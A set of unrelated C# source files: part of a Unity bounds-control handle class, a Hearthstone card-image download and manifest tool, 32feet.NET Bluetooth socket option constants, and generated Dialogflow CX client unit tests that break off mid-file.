it obsoleteChild.parent = null; Object.Destroy(obsoleteChild.gameObject); } else { Debug.LogError("couldn't find rotation visual on recreating visuals"); } // create new visual Bounds visualBounds = CreateVisual(i, handles[i].gameObject); // update handle collider bounds UpdateColliderBounds(handles[i], visualBounds.size); } objectsChangedEvent.Invoke(this); } protected override void UpdateColliderBounds(Transform handle, Vector3 visualSize) { var invScale = visualSize.x == 0.0f ? 0.0f : config.HandleSize / visualSize.x; GetVisual(handle).transform.localScale = new Vector3(invScale, invScale, invScale); Vector3 colliderSizeScaled = visualSize * invScale; if (config.HandlePrefabColliderType == HandlePrefabCollider.Box) { BoxCollider collider = handle.gameObject.GetComponent<BoxCollider>(); collider.size = colliderSizeScaled; collider.size += BaseConfig.ColliderPadding; } else { SphereCollider collider = handle.gameObject.GetComponent<SphereCollider>(); collider.radius = colliderSizeScaled.x * 0.5f; collider.radius += VisualUtils.GetMaxComponent(config.ColliderPadding); } } private Bounds CreateVisual(int handleIndex, GameObject parent) { GameObject midpointVisual; GameObject prefabType = config.HandlePrefab; if (prefabType != null) { midpointVisual = Object.Instantiate(prefabType); } else { midpointVisual = GameObject.CreatePrimitive(PrimitiveType.Sphere); // deactivate collider on visuals and register for deletion - actual collider // of handle is attached to the handle gameobject, not the visual var collider = midpointVisual.GetComponent<SphereCollider>(); collider.enabled = false; Object.Destroy(collider); } Quaternion realignment = GetRotationRealignment(handleIndex); midpointVisual.transform.localRotation = realignment * midpointVisual.transform.localRotation; Bounds midpointBounds = VisualUtils.GetMaxBounds(midpointVisual); float maxDim = VisualUtils.GetMaxComponent(midpointBounds.size); float invScale = maxDim == 0.0f ? 0.0f : config.HandleSize / maxDim; midpointVisual.name = visualsName; midpointVisual.transform.parent = parent.transform; midpointVisual.transform.localScale = new Vector3(invScale, invScale, invScale); midpointVisual.transform.localPosition = Vector3.zero; if (config.HandleMaterial != null) { VisualUtils.ApplyMaterialToAllRenderers(midpointVisual, config.HandleMaterial); } return midpointBounds; } #region BoundsControlHandlerBase internal override bool IsVisible(Transform handle) { if (!IsActive) { return false; } else { CardinalAxisType axisType = GetAxisType(handle); switch (axisType) { case CardinalAxisType.X: return config.ShowHandleForX; case CardinalAxisType.Y: return config.ShowHandleForY; case CardinalAxisType.Z: return config.ShowHandleForZ; } return false; } } protected override Transform GetVisual(Transform handle) { // visual is first child Transform childTransform = handle.GetChild(0); if (childTransform != null && childTransform.name == visualsName) { return childTransform; } return null; } #endregion BoundsControlHandlerBase #region IProximityScaleObjectProvider public override bool IsActive { get { return (config.ShowHandleForX || config.ShowHandleForY || config.ShowHandleForZ) && base.IsActive; } } #endregion IProximityScaleObjectProvider } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Security.Cryptography; using System.Threading.Tasks; using CommandLine; using Newtonsoft.Json; using Newtonsoft.Json.Linq; using ShellProgressBar; namespace HearthstoneCardImages { [Verb("update-cards", HelpText = "Update card database using Blizzard's Hearthstone API.")] class UpdateCards { } [Verb("download-images", HelpText = "Download card images using current card database.")] class DownloadImages { } [Verb("copy-images", HelpText = "Copy downloaded images to the cards folder.")] class CopyImages { } [Verb("check-images", HelpText = "Ensure all images in the cards folder are valid.")] class CheckImages { } [Verb("create-manifests", HelpText = "Create manifest files from current commit.")] class CreateManifests { } class Program { static async Task Main(string[] args) { object task = null; Parser.Default.ParseArguments<UpdateCards, DownloadImages, CopyImages, CheckImages, CreateManifests>(args) .WithParsed<UpdateCards>(t => task = t) .WithParsed<DownloadImages>(t => task = t) .WithParsed<CopyImages>(t => task = t) .WithParsed<CheckImages>(t => task = t) .WithParsed<CreateManifests>(t => task = t); if (task == null) { return; } var type = task.GetType(); if (type == typeof(UpdateCards)) { await UpdateCards(); } else if (type == typeof(DownloadImages)) { await DownloadImages(); } else if (type == typeof(CopyImages)) { CopyImages(); } else if (type == typeof(CheckImages)) { CheckImages(); } else if (type == typeof(CreateManifests)) { CreateManifests(); } } static async Task UpdateCards() { var client = new Blizzard.Client(); await client.UpdateCards(); } static async Task DownloadImages() { var images = new Images.Client(); var client = new Blizzard.Client(); var cards = client.LoadCards(); var urls = images.GetMissingImages(cards.SelectMany(c => c.Images.Values)).ToArray(); var options = new ProgressBarOptions { ForegroundColor = ConsoleColor.Yellow }; using (var progress = new ProgressBar(urls.Length, "", options)) { foreach (string url in urls) { progress.Tick($"Download {url}."); await images.LoadImage(url); } } } static void CopyImages() { var images = new Images.Client(); var client = new Blizzard.Client(); var cards = client.LoadCards(); int total = cards.Sum(c => c.Images.Count); var options = new ProgressBarOptions { ForegroundColor = ConsoleColor.Yellow }; using (var progress = new ProgressBar(total, "", options)) { Parallel.ForEach(cards, card => { foreach (var (locale, url) in card.Images) { string dir = Path.Join("cards", locale.ToString()); string path = Path.Join(dir, $"{card.DbfId}.png"); progress.Tick($"Copy to {path}."); var imageData = images.LoadImage(url).Result; File.WriteAllBytes(path, imageData); } }); } } static void CheckImages() { var imagePaths = Directory.EnumerateFiles("cards", "*.png", SearchOption.AllDirectories) .Select(path => path.Trim()) .ToArray(); var options = new ProgressBarOptions { ForegroundColor = ConsoleColor.Yellow }; using (var progress = new ProgressBar(imagePaths.Length, "", options)) { Parallel.ForEach(imagePaths, imagePath => { progress.Tick($"Check {imagePath}."); using (var image = new Bitmap(imagePath)) { if (image.Width < 100 || image.Height < 100) { throw new Exception($"Invalid image resolution: {imagePath}."); } } }); } } static void CreateManifests() { var versionedFiles = Run("git", "ls-files") .Where(p => !string.IsNullOrEmpty(p)) .Select(p => p.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar)) .ToHashSet(); var release = new Dictionary<string, Dictionary<int, string>>(); foreach (var locale in Enum.GetNames(typeof(Blizzard.Locale))) { release[locale] = new Dictionary<int, string>(); } var md5 = new MD5CryptoServiceProvider(); var imageFileNames = Directory.EnumerateFiles("cards", "*.png", SearchOption.AllDirectories).ToArray(); var options = new ProgressBarOptions { ForegroundColor = ConsoleColor.Yellow }; using (var progress = new ProgressBar(imageFileNames.Length, "", options)) { foreach (var fileName in imageFileNames) { progress.Tick($"Process {fileName}."); var checkFileName = fileName.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar); if (!versionedFiles.Contains(checkFileName)) { throw new Exception($"Unversioned file: {checkFileName}."); } string locale = fileName.Split(Path.DirectorySeparatorChar)[1]; int dbfId = Convert.ToInt32(Path.GetFileNameWithoutExtension(fileName)); var bytes = md5.ComputeHash(File.ReadAllBytes(fileName)); var hash = BitConverter.ToString(bytes).Replace("-", "").ToLowerInvariant(); release[locale][dbfId] = hash; } } var package = JObject.Parse(File.ReadAllText("package.json")); string version = package["version"].ToString(); var combined = new CombinedImageDatabase { Config = new CombinedConfig { Version = version, Base = "https://raw.githubusercontent.com/schmich/hearthstone-card-images" }, Cards = release }; string content = JsonConvert.SerializeObject(combined); File.WriteAllText(Path.Join("manifest", "all.json"), content); foreach (var (locale, cards) in release) { var single = new ImageDatabase { Config = new Config { Version = version, Base = combined.Config.Base, Locale = locale }, Cards = release[locale] }; content = JsonConvert.SerializeObject(single); File.WriteAllText(Path.Join("manifest", $"{locale}.json"), content); } var hashes = combined.Cards.SelectMany(p => p.Value.Values); foreach (var group in hashes.GroupBy(h => h)) { if (group.Count() > 1) { throw new Exception($"Hash conflict for \"{group.Key}\"."); } } } static List<string> Run(string command, string arguments) { var lines = new List<string>(); var process = new Process { StartInfo = new ProcessStartInfo { FileName = command, Arguments = arguments, RedirectStandardOutput = true, UseShellExecute = false }, EnableRaisingEvents = true }; process.OutputDataReceived += (_, e) => { lines.Add(e.Data); }; process.Start(); process.BeginOutputReadLine(); process.WaitForExit(); return lines; } } public class ImageDatabase { [JsonProperty("config")] public Config Config; [JsonProperty("cards")] public Dictionary<int, string> Cards; } public class Config { [JsonProperty("version")] public string Version; [JsonProperty("base")] public string Base; [JsonProperty("locale")] public string Locale; } public class CombinedImageDatabase { [JsonProperty("config")] public CombinedConfig Config; [JsonProperty("cards")] public Dictionary<string, Dictionary<int, string>> Cards; } public class CombinedConfig { [JsonProperty("version")] public string Version; [JsonProperty("base")] public string Base; } }
// 32feet.NET - Personal Area Networking for .NET // // InTheHand.Net.Bluetooth.BluetoothSocketOptionName // // Copyright (c) 2003-2008 In The Hand Ltd, All rights reserved. // This source code is licensed under the MIT License using System; using System.Net.Sockets; namespace InTheHand.Net.Sockets { /// <summary> /// Defines <see cref="T:System.Net.Sockets.Socket"/> configuration option names for the <see cref="T:System.Net.Sockets.Socket"/> class. /// </summary> public static class BluetoothSocketOptionName { /// <summary> /// Toggles authentication under Windows. /// </summary> /// <remarks>optlen=sizeof(ULONG), optval = &amp;(ULONG)TRUE/FALSE</remarks> public const SocketOptionName Authenticate = unchecked((SocketOptionName) 0x80000001); // optlen=sizeof(ULONG), optval = &(ULONG)TRUE/FALSE /// <summary> /// On a connected socket, this command turns encryption on or off. /// On an unconnected socket, this forces encryption to be on or off on connection. /// For an incoming connection, this means that the connection is rejected if the encryption cannot be turned on. /// </summary> public const SocketOptionName Encrypt = (SocketOptionName)0x00000002; // optlen=sizeof(unsigned int), optval = &amp;(unsigned int)TRUE/FALSE /// <summary> /// Get or set the default MTU on Windows. /// </summary> /// <remarks>optlen=sizeof(ULONG), optval = &amp;mtu</remarks> public const SocketOptionName Mtu = unchecked((SocketOptionName)0x80000007); // optlen=sizeof(ULONG), optval = &mtu /// <summary> /// Get or set the maximum MTU on Windows. /// </summary> /// <remarks>optlen=sizeof(ULONG), optval = &amp;max. mtu</remarks> public const SocketOptionName MtuMaximum = unchecked((SocketOptionName)0x80000008);// - 2147483640; /// <summary> /// Get or set the minimum MTU on Windows. /// </summary> /// <remarks>optlen=sizeof(ULONG), optval = &amp;min. mtu</remarks> public const SocketOptionName MtuMinimum = unchecked((SocketOptionName)0x8000000a);// - 2147483638; #if NETCF /// <summary> /// On connected socket, triggers authentication. /// On not connected socket, forces authentication on connection. /// For incoming connection this means that connection is rejected if authentication cannot be performed. /// </summary> /// <remarks>Windows CE only. The optval and optlen parameters are ignored; however, Winsock implementation on Windows CE requires optlen to be at least 4 and optval to point to at least an integer datum.</remarks> public const SocketOptionName AuthenticateCE = (SocketOptionName)0x00000001; /// <summary> /// This sets or revokes PIN code to use with a connection or socket. /// </summary> public const SocketOptionName SetPin = (SocketOptionName)0x00000003; // bound only! survives socket! optlen=sizeof(BTH_SOCKOPT_SECURITY), optval=&amp;BTH_SOCKOPT_SECURITY /// <summary> /// This sets or revokes link key to use with a connection or peer device. /// </summary> public const SocketOptionName SetLink = (SocketOptionName)0x00000004; // bound only! survives socket! optlen=sizeof(BTH_SOCKOPT_SECURITY), optval=&amp;BTH_SOCKOPT_SECURITY /// <summary> /// Returns link key associated with peer Bluetooth device. /// </summary> public const SocketOptionName GetLink = (SocketOptionName)0x00000005; // bound only! optlen=sizeof(BTH_SOCKOPT_SECURITY), optval=&amp;BTH_SOCKOPT_SECURITY /// <summary> /// This sets default MTU (maximum transmission unit) for connection negotiation. /// While allowed for connected socket, it has no effect if the negotiation has already completed. /// Setting it on listening socket will propagate the value for all incoming connections. /// </summary> public const SocketOptionName SetMtu = (SocketOptionName)0x00000006; // unconnected only! optlen=sizeof(unsigned int), optval = &mtu /// <summary> /// Returns MTU (maximum transmission unit). /// For connected socket, this is negotiated value, for server (accepting) socket it is MTU proposed for negotiation on connection request. /// </summary> public const SocketOptionName GetMtu = (SocketOptionName)0x00000007; // optlen=sizeof(unsigned int), optval = &amp;mtu /// <summary> /// This sets maximum MTU for connection negotiation. /// While allowed for connected socket, it has no effect if the negotiation has already completed. /// Setting it on listening socket will propagate the value for all incoming connections. /// </summary> public const SocketOptionName SetMtuMaximum = (SocketOptionName)0x00000008; // unconnected only! optlen=sizeof(unsigned int), optval = &max. mtu /// <summary> /// Returns maximum MTU acceptable MTU value for a connection on this socket. /// Because negotiation has already happened, has little meaning for connected socket. /// </summary> public const SocketOptionName GetMtuMaximum = (SocketOptionName)0x00000009; // bound only! optlen=sizeof(unsigned int), optval = &amp;max. mtu /// <summary> /// This sets minimum MTU for connection negotiation. /// While allowed for connected socket, it has no effect if the negotiation has already completed. /// Setting it on listening socket will propagate the value for all incoming connections. /// </summary> public const SocketOptionName SetMtuMinimum = (SocketOptionName)0x0000000a; // unconnected only! optlen=sizeof(unsigned int), optval = &amp;min. mtu /// <summary> /// Returns minimum MTU acceptable MTU value for a connection on this socket. /// Because negotiation has already happened, has little meaning for connected socket. /// </summary> public const SocketOptionName GetMtuMinimum = (SocketOptionName)0x0000000b; // bound only! optlen=sizeof(unsigned int), optval = &min. mtu /// <summary> /// This sets XON limit. /// Setting it on listening socket will propagate the value for all incoming connections. /// </summary> public const SocketOptionName SetXOnLimit = (SocketOptionName)0x0000000c; // optlen=sizeof(unsigned int), optval = &xon limit (set flow off) /// <summary> /// Returns XON limit for a connection. /// XON limit is only used for peers that do not support credit-based flow control (mandatory in the Bluetooth Core Specification version 1.1). /// When amount of incoming data received, but not read by an application for a given connection grows past this limit, a flow control command is sent to the peer requiring suspension of transmission. /// </summary> public const SocketOptionName GetXOnLimit = (SocketOptionName)0x0000000d; // optlen=sizeof(unsigned int), optval = &xon /// <summary> /// This sets XOFF limit. /// Setting it on listening socket will propagate the value for all incoming connections. /// </summary> public const SocketOptionName SetXOffLimit = (SocketOptionName)0x0000000e; // optlen=sizeof(unsigned int), optval = &xoff limit (set flow on) /// <summary> /// Returns XOFF limit for a connection. /// XOFF limit is only used for peers that do not support credit-based flow control (mandatory in the Bluetooth Core Specification 1.1). /// If flow has been suspended because of buffer run-up, when amount of incoming data received, but not read by an application for a given connection falls below this limit, a flow control command is sent to the peer allowing continuation of transmission. /// </summary> public const SocketOptionName GetXOffLimit = (SocketOptionName)0x0000000f; // optlen=sizeof(unsigned int), optval = &xoff /// <summary> /// Specifies maximum amount of data that can be buffered inside RFCOMM (this is amount of data before call to send blocks). /// </summary> public const SocketOptionName SetSendBuffer = (SocketOptionName)0x00000010; // optlen=sizeof(unsigned int), optval = &max buffered size for send /// <summary> /// Returns maximum amount of data that can be buffered inside RFCOMM (this is amount of data before call to send blocks). /// </summary> public const SocketOptionName GetSendBuffer = (SocketOptionName)0x00000011; // optlen=sizeof(unsigned int), optval = &max buffered size for send /// <summary> /// Specifies maximum amount of data that can be buffered for a connection. /// This buffer size is used to compute number of credits granted to peer device when credit-based flow control is implemented. /// This specifies the maximum amount of data that can be buffered. /// </summary> public const SocketOptionName SetReceiveBuffer = (SocketOptionName)0x00000012; // optlen=sizeof(unsigned int), optval = &max buffered size for recv /// <summary> /// Returns maximum amount of data that can be buffered for a connection. /// This buffer size is used to compute number of credits granted to peer device when credit-based flow control is implemented. /// This specifies the maximum amount of data that can be buffered. /// </summary> public const SocketOptionName GetReceiveBuffer = (SocketOptionName)0x00000013; // optlen=sizeof(unsigned int), optval = &max buffered size for recv /// <summary> /// Retrieves last v24 and break signals set through MSC command from peer device. /// </summary> public const SocketOptionName GetV24Break = (SocketOptionName)0x00000014; // connected only! optlen=2*sizeof(unsigned int), optval = &{v24 , br} /// <summary> /// Retrieves last line status signals set through RLS command from peer device. /// </summary> public const SocketOptionName GetRls = (SocketOptionName)0x00000015; // connected only! optlen=sizeof(unsigned int), optval = &rls /// <summary> /// Sends MSC command. V24 and breaks are as specified in RFCOMM Specification. /// Only modem signals and breaks can be controlled, RFCOMM reserved fields such as flow control are ignored and should be set to 0. /// </summary> public const SocketOptionName SendMsc = (SocketOptionName)0x00000016; // connected only! optlen=2*sizeof(unsigned int), optval = &{v24, br} /// <summary> /// Sends RLS command. /// Argument is as specified in RFCOMM Specification. /// </summary> public const SocketOptionName SendRls = (SocketOptionName)0x00000017; // connected only! optlen=sizeof(unsigned int), optval = &rls /// <summary> /// Gets flow control type on the connected socket. /// </summary> public const SocketOptionName GetFlowType = (SocketOptionName)0x00000018; // connected only! optlen=sizeof(unsigned int), optval=&1=credit-based, 0=legacy /// <summary> /// Sets the page timeout for the card. /// The socket does not have to be connected. /// </summary> public const SocketOptionName SetPageTimeout = (SocketOptionName)0x00000019; // no restrictions. optlen=sizeof(unsigned int), optval = &page timeout /// <summary> /// Gets the current page timeout. /// The socket does not have to be connected. /// </summary> public const SocketOptionName GetPageTimeout = (SocketOptionName)0x0000001a; // no restrictions. optlen=sizeof(unsigned int), optval = &page timeout /// <summary> /// Sets the scan mode for the card. /// The socket does not have to be connected. /// </summary> public const SocketOptionName SetScan = (SocketOptionName)0x0000001b; // no restrictions. optlen=sizeof(unsigned int), optval = &scan mode /// <summary> /// Gets the current scan mode. /// The socket does not have to be connected. /// </summary> public const SocketOptionName GetScan = (SocketOptionName)0x0000001c; // no restrictions. optlen=sizeof(unsigned int), optval = &scan mode /// <summary> /// Sets the class of the device. /// The socket does not have to be connected. /// </summary> public const SocketOptionName SetCod = (SocketOptionName)0x0000001d; // no restrictions. /// <summary> /// Retrieve the Class of Device. /// </summary> public const SocketOptionName GetCod = (SocketOptionName)0x0000001e; // no restrictions. optlen=sizeof(unsigned int), optval = &cod /// <summary> /// Get the version information from the Bluetooth adapter. /// </summary> public const SocketOptionName GetLocalVersion = (SocketOptionName)0x0000001f; // no restrictions. /// <summary> /// Get the version of the remote adapter. /// </summary> public const SocketOptionName GetRemoteVersion = (SocketOptionName)0x00000020; // connected only! optlen=sizeof(BTH_REMOTE_VERSION), optval = &BTH_REMOTE_VERSION /// <summary> /// Retrieves the authentication settings. /// The socket does not have to be connected. /// </summary> public const SocketOptionName GetAuthenticationEnabled = (SocketOptionName)0x00000021; // no restrictions. optlen=sizeof(unsigned int), optval = &authentication enable /// <summary> /// Sets the authentication policy of the device. /// </summary> public const SocketOptionName SetAuthenticationEnabled = (SocketOptionName)0x00000022; // no restrictions. optlen=sizeof(unsigned int), optval = &authentication enable /// <summary> /// Reads the remote name of the device. /// The socket does not have to be connected. /// </summary> public const SocketOptionName ReadRemoteName = (SocketOptionName)0x00000023; // no restrictions. /// <summary> /// Retrieves the link policy of the device. /// </summary> public const SocketOptionName GetLinkPolicy = (SocketOptionName)0x00000024; // connected only! optlen=sizeof(unsigned int), optval = &link policy /// <summary> /// Sets the link policy for an existing baseband connection. /// The socket must be connected. /// </summary> public const SocketOptionName SetLinkPolicy = (SocketOptionName)0x00000025; // connected only! optlen=sizeof(unsigned int), optval = &link policy /// <summary> /// Places the ACL connection to the specified peer device in HOLD mode. /// The device must be connected. /// </summary> public const SocketOptionName EnterHoldMode = (SocketOptionName)0x00000026; // connected only! optlen=sizeof(BTH_HOLD_MODE), optval = &BTH_HOLD_MODE /// <summary> /// Places the ACL connection to the specified peer device in SNIFF mode. /// The device must be connected. /// </summary> public const SocketOptionName EnterSniffMode = (SocketOptionName)0x00000027; // connected only! optlen=sizeof(BTH_SNIFF_MODE), optval = &BTH_SNIFF_MODE /// <summary> /// Forces the ACL connection to the peer device to leave SNIFF mode. /// The device must be connected. /// </summary> public const SocketOptionName ExitSniffMode = (SocketOptionName)0x00000028; // connected only! optlen=0, optval - ignored /// <summary> /// Places the ACL connection to the peer device in PARK mode. /// The device must be connected. /// </summary> public const SocketOptionName EnterParkMode = (SocketOptionName)0x00000029; // connected only! optlen=sizeof(BTH_PARK_MODE), optval = &BTH_PARK_MODE /// <summary> /// Forces the ACL connection to the peer device to leave PARK mode. /// The device must be connected. /// </summary> public const SocketOptionName ExitParkMode = (SocketOptionName)0x0000002a; // connected only! optlen=0, optval - ignored /// <summary> /// Gets the current mode of the connection. /// The mode can either be sniff, park, or hold. The socket must be connected. /// </summary> public const SocketOptionName GetMode = (SocketOptionName)0x0000002b; // connected only! optlen=sizeof(int), optval = &mode #endif } }
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Generated code. DO NOT EDIT! using gaxgrpc = Google.Api.Gax.Grpc; using wkt = Google.Protobuf.WellKnownTypes; using grpccore = Grpc.Core; using moq = Moq; using st = System.Threading; using stt = System.Threading.Tasks; using xunit = Xunit; namespace Google.Cloud.Dialogflow.Cx.V3.Tests { /// <summary>Generated unit tests.</summary> public sealed class GeneratedTransitionRouteGroupsClientTest { [xunit::FactAttribute] public void GetTransitionRouteGroupRequestObject() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); GetTransitionRouteGroupRequest request = new GetTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), LanguageCode = "language_code2f6c7160", }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.GetTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.GetTransitionRouteGroup(request); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task GetTransitionRouteGroupRequestObjectAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); GetTransitionRouteGroupRequest request = new GetTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), LanguageCode = "language_code2f6c7160", }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.GetTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.GetTransitionRouteGroupAsync(request, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.GetTransitionRouteGroupAsync(request, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void GetTransitionRouteGroup() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); GetTransitionRouteGroupRequest request = new GetTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.GetTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.GetTransitionRouteGroup(request.Name); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task GetTransitionRouteGroupAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); GetTransitionRouteGroupRequest request = new GetTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.GetTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.GetTransitionRouteGroupAsync(request.Name, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.GetTransitionRouteGroupAsync(request.Name, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void GetTransitionRouteGroupResourceNames() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); GetTransitionRouteGroupRequest request = new GetTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.GetTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.GetTransitionRouteGroup(request.TransitionRouteGroupName); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task GetTransitionRouteGroupResourceNamesAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); GetTransitionRouteGroupRequest request = new GetTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.GetTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.GetTransitionRouteGroupAsync(request.TransitionRouteGroupName, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.GetTransitionRouteGroupAsync(request.TransitionRouteGroupName, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void CreateTransitionRouteGroupRequestObject() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); CreateTransitionRouteGroupRequest request = new CreateTransitionRouteGroupRequest { ParentAsFlowName = FlowName.FromProjectLocationAgentFlow("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]"), TransitionRouteGroup = new TransitionRouteGroup(), LanguageCode = "language_code2f6c7160", }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", 